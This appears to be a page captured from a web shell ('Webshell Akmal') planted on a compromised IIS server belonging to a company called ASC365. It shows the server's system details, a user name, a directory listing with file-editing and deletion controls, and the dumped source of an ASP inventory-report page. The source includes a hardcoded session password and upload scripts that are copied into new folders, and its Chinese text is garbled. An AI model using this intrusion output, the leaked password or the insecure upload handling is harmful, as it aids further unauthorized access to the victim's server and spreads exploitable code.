Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</title>
<%
loginnumber=session("Webpassed")
if loginnumber<>"%asc365com%" then
response.End()
end if 
%>
</head>
<body>
<div align="center">
  <%
if session("asc365allpassword")<>"8879365" then response.end
'-------------------------------------------------------------
Function YYMMDD(YMD)
Y_Y = DatePart("yyyy",YMD)
M_M = DatePart("m",YMD) : If Len(M_M) < 2 Then M_M = "0" & M_M
D_D = DatePart("d",YMD) : If Len(D_D) < 2 Then D_D = "0" & D_D
H_H = DatePart("h",YMD) : If Len(H_H) < 2 Then H_H = "0" & H_H
N_N = DatePart("n",YMD) : If Len(N_N) < 2 Then N_N = "0" & N_N
S_S = DatePart("s",YMD) : If Len(S_S) < 2 Then S_S = "0" & S_S
YYMMDD = Y_Y & M_M & D_D & H_H & N_N & S_S
end function
'-------------------------------------------------------------
function  Adddot(NUM) 
	if isnumeric(NUM)=0 then NUM=0
	if instr(NUM,".")=0 then 
		NUM=NUM & ".00"
	else
		tem=split(NUM,".")
		if len(tem(1))<2 then tem(1)=tem(1) &"0"
		if  len(tem(1))>2  then  tem(1)=left(tem(1),2) 
		NUM=tem(0) &"."& tem(1)
	end if
	if len(NUM)<4 then
		NUM="0" & NUM
	end if   
	Adddot=NUM
end function
'-------------------------------------------------------------
set fs=Server.CreateObject("Scripting.FileSystemObject")
'----------------------------------------------------------------
Dim DL(1000,46)
'0-����|1-����Ӣ��������|
'2-(��)��棤|3-��;��|4-�ϼ�|			------���ô���׶���
'5-(��)��棤|6-��;��|7-�ϼ�|			------������ɼ����
'8-(��)��棤|9-��;��|10-�ϼ�|			------���ô��¸绪���
'11-(��)��棤|12-��;��|13-�ϼ�|		------�й���̨���
'14-(��)��棤|15-��;��|16-�ϼ�|		------�ܹ�˾������
'17-(��)��棤|18-��;��|19-�ϼ�|		------�����ɽ�ɽ���
'20-(��)��棤|21-��;��|22-�ϼ�|		------
'23-(��)��棤|24-��;��|25-�ϼ�|		------
'26-(��)��棤|27-��;��|28-�ϼ�|		------
'29-(��)��棤|30-��;��|31-�ϼ�|		------
'32-(��)��棤|33-��;��|34-�ϼ�|		------
'35-(��)��棤|36-��;��|37-�ϼ�|		------
'38-(��)��棤|39-��;��|40-�ϼ�|		------
'41-(��)��棤|42-��;��|43-�ϼ�|		------
'44-(��)��棤|45-��;��|46-�ϼ�|		------

for i=0 to 1000
	for j=2 to 46
		DL(i,j)=0
	next
next
DIM HJ(46)
Dim ML(999)		'ML(999,999)
Dim QQ(50)		'QQ(50)	��Ʒ��ϸ
Dim MM(16)		'��Ʒ���
Dim ZT_CANADA(999,1)
Dim ZT_LOSUSA(999,1)
Dim ZT_WGHCAN(999,1)
Dim ZT_SFFUSA(999,1)
Dim ZT_YYT(999,1)
Dim ZT_YYT_js
Dim ZT_CANADA_js
Dim ZT_LOSUSA_js
Dim ZT_WGHCAN_js
Dim ZT_SFFUSA_js
ZT_CANADA_js=0
ZT_LOSUSA_js=0
ZT_WGHCAN_js=0
ZT_SFFUSA_js=0
ZT_YYT_js=0
Dim companyinfo(10,4)
c_i=0
Temp=server.MapPath("../../Admin/Companyinfo")
set f=fs.OpenTextFile(Temp,1)
  do while f.AtEndOfStream=false
     str=f.ReadLine
	 if len(str)>0 then
	    str11=split(str,"|")
		companyinfo(c_i,0)=str11(1)
		companyinfo(c_i,1)=str11(2)
		companyinfo(c_i,2)=str11(4)
		c_i=c_i+1
	 end if 
  loop
  
'---------------------------
'----------------ȡ�ô�Ŀ¼------------------
Set f=fs.OpenTextFile(Server.MapPath("../../Admin/Product_Sort"), 1)
do while f.AtEndOfStream = false
	WW=trim(f.ReadLine)
	if len(WW)<>0 and left(ww,2)<>"//" then 
		temp=split(ww,"#")
		I=trim(temp(0))
		if I<1000 then
			DL(I,0)=trim(temp(0))
			if InStr(temp(1),",") then
				str1=split(temp(1),",")
				DL(I,1)=trim(str1(0))
			else
				DL(I,1)=temp(1)
			end if
		end if
	end if
loop
f.Close
Set f=Nothing
'--------------------ȡ������Ŀ¼----------------------
'-----------------------
for i=0 to 1000
	if len(DL(i,1))>0 then
		YY=request.Cookies("DL"&DL(i,0))
		if len(YY)>0 then
			str=Split(YY,"|")
			k=str(0)
			for j=0 to 46
				DL(k,j)=str(j)
			next
		end if
	end if
next
'-----------------------
'-----------------------------------------------------
'TXTFile=Server.MapPath("../../Admin/store.txt")
'set fw=fs.CreateTextFile(TXTFile,true)
'fw.writeline "��Ʒ����|��ƷӢ������|��Ʒ��������|������λ|���ÿ��|���޿��|���Ͽ��|�ܿ��|��С���|��;����|���ۣ�|����$|ϵ��|�ο���$|���$"
for i= 0 to 1000
	if trim(request.form("T" & i))="��ѯ" then
		'response.Cookies("TB"& i)=1
		i=right("00"&i,3)
		'--------------------------------------------------
		for ss=0 to 999
			ML(ss)=""
		next
		for ss=0 to 999
			str=right("00"&ss,3)
			Temp=server.MapPath("../../Admin/" & i & "/" & str)
			if fs.FolderExists(Temp)=true then
				Temp1=server.MapPath("../../Admin/" & i & "/" & str &"/Tech.inc")
				if (fs.FileExists(Temp1))=true then
					set f=fs.OpenTextFile(Temp1,1)
					for j =0 to 28
						QQ(j)=""
					next
					j=0
					do while f.AtEndOfStream=false
						QQ(j)=trim(f.ReadLine)
						j=j+1
						if j>30 then exit do
					loop
					f.close :set f=nothing
					if Lcase(QQ(28))="y" then
						if Isnumeric(QQ(0))=true and len(QQ(0))=6 then
							ML(str)= QQ(0)
						end if
					end if
				end if
			end if
		next
		'--------------------------------------------------
		for j=2 to 46
			DL(i,j)=0
		next
		for j=0 to 999
		    j=right("00"&j,3)
			if len(ML(j))>0 then
				HH=left(ML(j),3)
				LL=right(ML(j),3)
				Tech=Server.MapPath("../../Admin/"& HH & "/"& LL &"/Tech.inc")		'��Ʒ��ϸ
				for ii =0 to 28
					QQ(ii)=""
				next
				If (fs.FileExists(Tech))=true then
					Set f=fs.OpenTextFile(Tech, 1)
					for ii =0 to 28
						QQ(ii)=trim(f.ReadLine)		'ֻ��28��
					next
					f.Close
					Set f=Nothing
				end if
				'-----------------------------------------
				If  lcase(QQ(28)) ="y" then
				    
					'---------------------ȡ����--------------------
					p9=0
					GGprice=Server.MapPath("../../TJGSCPXX/CPXX_" & HH & ".txt")
					If (fs.FileExists(GGPrice))=true then
						Set f=fs.OpenTextFile(GGprice, 1)
						do while f.AtEndOfStream = false
							YY=trim(f.ReadLine)
							str=split(YY,"|")
						
							if str(0)=ML(j) then
								p9=str(15)
								exit do
							end if
						loop
						f.Close: Set f=Nothing
						if isnumeric(p9)=false then p9=0
					end if
					
					for ss=0 to c_i-1
					
					Tech= Server.MapPath("../../../"&companyinfo(ss,1)&"/Admin/"& HH & "/"& LL &"/Store.inc")    '��ȡ�ֿ���Ϣ
					for jj =0 to 10
						mm(jj)=""
					next
					ZBMC=""
					jj=0
'					SJKC=0     'ʵ�ʿ�� = �ܿ��-����-����
					If (fs.FileExists(Tech))=true then
						Set f=fs.OpenTextFile(Tech, 1)
						do while f.AtEndOfStream = false
							mm(jj)=trim(f.ReadLine)
							jj=jj+1
							if jj=11 then exit do		'ֻ��11��
						loop
						f.Close
						Set f=Nothing
						ZBMC=mm(9)
					end if
					if len(mm(3))=0 then mm(3)=0		'�ܿ��
					if isnumeric(mm(3))=false then mm(3)=0		'�ܿ��
					if len(mm(2))=0 then mm(2)=0		'�ܿ��
					if isnumeric(mm(2))=false then mm(2)=0		'�ܿ��
					if len(mm(10))=0 then mm(10)=0		'�ܿ��
					if isnumeric(mm(10))=false then mm(10)=0		'�ܿ��
					mm(3)=mm(3)*1-mm(10)*1-mm(2)*1
					
'					
					ZTSL=0		'��;����
					Temp=server.MapPath("../../../ASC365_CANADA/Admin/"&companyinfo(ss,2))
					if fs.FileExists(Temp)=true then
					   set f=fs.OpenTextFile(Temp,1)
					   do while f.AtEndOfstream=false
					      str=f.ReadLine
						  if len(str)>0 then
						     str11=split(str,"|")
							 if ML(j)=str11(0) then
							    ZTSL=str11(1)
								exit do
							 end if
						  end if
					   loop
					end if
					'-----------------------------------------
					DL(i,ss*3+2)=(DL(i,ss*3+2)*1+mm(3)*p9)			'(��)��棤
					DL(i,ss*3+3)=(DL(i,ss*3+3)*1+ZTSL*p9)		'��;��
					DL(i,ss*3+4)=(DL(i,ss*3+4)*1+mm(3)*p9+ZTSL*p9)	'�ϼ�
					DL(i,c_i*3+2)=(DL(i,c_i*3+2)*1+mm(3)*p9)			'(��)��棤
					DL(i,c_i*3+3)=(DL(i,c_i*3+3)*1+ZTSL*p9)		'��;��
					DL(i,c_i*3+4)=(DL(i,c_i*3+4)*1+mm(3)*p9+ZTSL*p9)	'�ϼ�
				next
			  end if
			end if
		next

WW=""
		for ii=0 to 46
			WW=WW & DL(i,ii) & "|"
		next
		response.Cookies("DL"& DL(i,0))=WW
		exit for
	end if
next
if request.form("B1")="����" then
	'-----------------------------------------------------------------------
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") 		'��ơ�����桢����ͳ��
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
	end if   
	'-----------------------------------------------------------------------
	RQ=YYMMDD(now)
	RQ=left(RQ,8)
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)		'��ơ�����桢����ͳ�ơ���һ��һ��Ŀ¼
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
	end if
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)	& "\" & left(RQ,6)	'��ơ�����桢����ͳ�ơ���һ��һ��һ��Ŀ¼
	If fs.FolderExists(Temp) <> true Then 
		set fm1=fs.CreateFolder(Temp)
		set fm1=nothing
		fs.CopyFile Server.MapPath("..\..\Admin\KJ_KCXS\uploadTester.asp"),temp &"/"
		fs.CopyFile Server.MapPath("..\..\Admin\KJ_KCXS\freeASPUpload.asp"),temp &"/"
	end if
	'-----------------------------------------------------------------------
	Temp=Server.MapPath("..\..\Admin\KJ_KCXS") & "\" & left(RQ,4)	& "\" & left(RQ,6) & "\" & RQ & "HZ.txt"
	Set f=fs.CreateTextFile(Temp,true)
	'-----------------------
	for i=0 to 1000
		if len(DL(i,1))>0 then
			WW=""
			for ii=0 to 46
				WW=WW & DL(i,ii) & "|"
			next
			f.WriteLine(WW)
		end if
	next

f.Close: Set f=Nothing
end if
%> 
    <font color="#FF0000"><b><span style="font-size: 18pt">���ô�ASC���ʹ�˾���ֹ�˾���ͳ��</span></b></font>
  <br>
  <br>
<form method="post" action="">
  <table border="1" width="1720" height="20" bordercolor="#f0f0f0" style="border-collapse: collapse">
      <tr>
		  <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2"></td>
          <td height="20" width="40" bgcolor="#DDDDDD" align="center" rowspan="2">����</td>
		  <td height="20" width="200" bgcolor="#DDDDDD" align="center" rowspan="2">��������</td>
		  <%
		   for ss=0 to c_i-1
		  %>
		  <td height="20" width="240" bgcolor="#EEFFFF" align="center" colspan="3"><%=companyinfo(ss,0)%>���</td>
		  <%
		   next
		  %>
		  <td height="20" width="240" bgcolor="#DDDDDD" align="center" colspan="3">������</td>
      </tr>
      <tr>
	      <%
		    for ss=0 to c_i
			
		  %>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">��棤</td>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">��;��</td>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="center">�ϼƣ�</td>
          <%
		    next
		  %>
	  </tr>
      <% 
	for i=2 to 46
		HJ(i)=0
	next
	for i=0 to 1000
		if len(DL(i,1))>0 then
			for j=2 to 46
				HJ(j)=(HJ(j)*1+DL(i,j)*1)
				if DL(i,j)<>0 then
					DL(i,j)=Adddot(DL(i,j))
				else
					DL(i,j)=""
				end if
			next
	%>
			<tr>
				<% if len(DL(i,c_i*3+4))>0 then %>
				<td height="20" width="40" bgcolor="#DDDDDD" align="center">
				</td>
				<% else %>
				<td height="20" width="40" bgcolor="#DDDDDD" align="center">
	            <input type="submit" value="��ѯ" name="<%="T"& i %>"><br>
				</td>
				<% end if %>
				<td height="20" width="40" align="center"><a target="_blank" href="02_storeMX.asp?ID=<%=DL(i,0) %>"><%=DL(i,0)%></a></td>
				<td height="20" width="200" align="left"><%=DL(i,1)%></td>
                <%
		            for ss=0 to c_i
		        %>
				<td height="20" width="80" bgcolor="#EEFFFF" align="right"><%=DL(i,ss*3+2)%></td>
				<td height="20" width="80" bgcolor="#EEFFFF" align="right"><%=DL(i,ss*3+3)%></td>
				<td height="20" width="80" bgcolor="#EEFFFF" align="right"><%=DL(i,ss*3+4)%></td>
                <%
				    next
				%>
			</tr>
      <%	
		end if
	   next
	   for j=2 to 46
	   		HJ(j)=Adddot(HJ(j))
	   next	
	%>
      <tr>
        <td height="20" width="280" bgcolor="#DDDDDD" align="center" colspan="3">��&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;��</td>
		<%for j=2 to c_i*3+4%>
		  <td height="20" width="80" bgcolor="#EEFFFF" align="right"><%=HJ(j)%></td>
		<%next%>
	  </tr>
    
    </table>
<p align="center"><input type="submit" value="����" name="B1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<span lang="en-us"><b><font face="Verdana" size="2"><a target="_blank" href="02_History.asp">��桢������ʷ</a></font></b></span></p>
</form>
  <br>
  
  <% Set fs=Nothing %>
  
</div>
</body>

</html>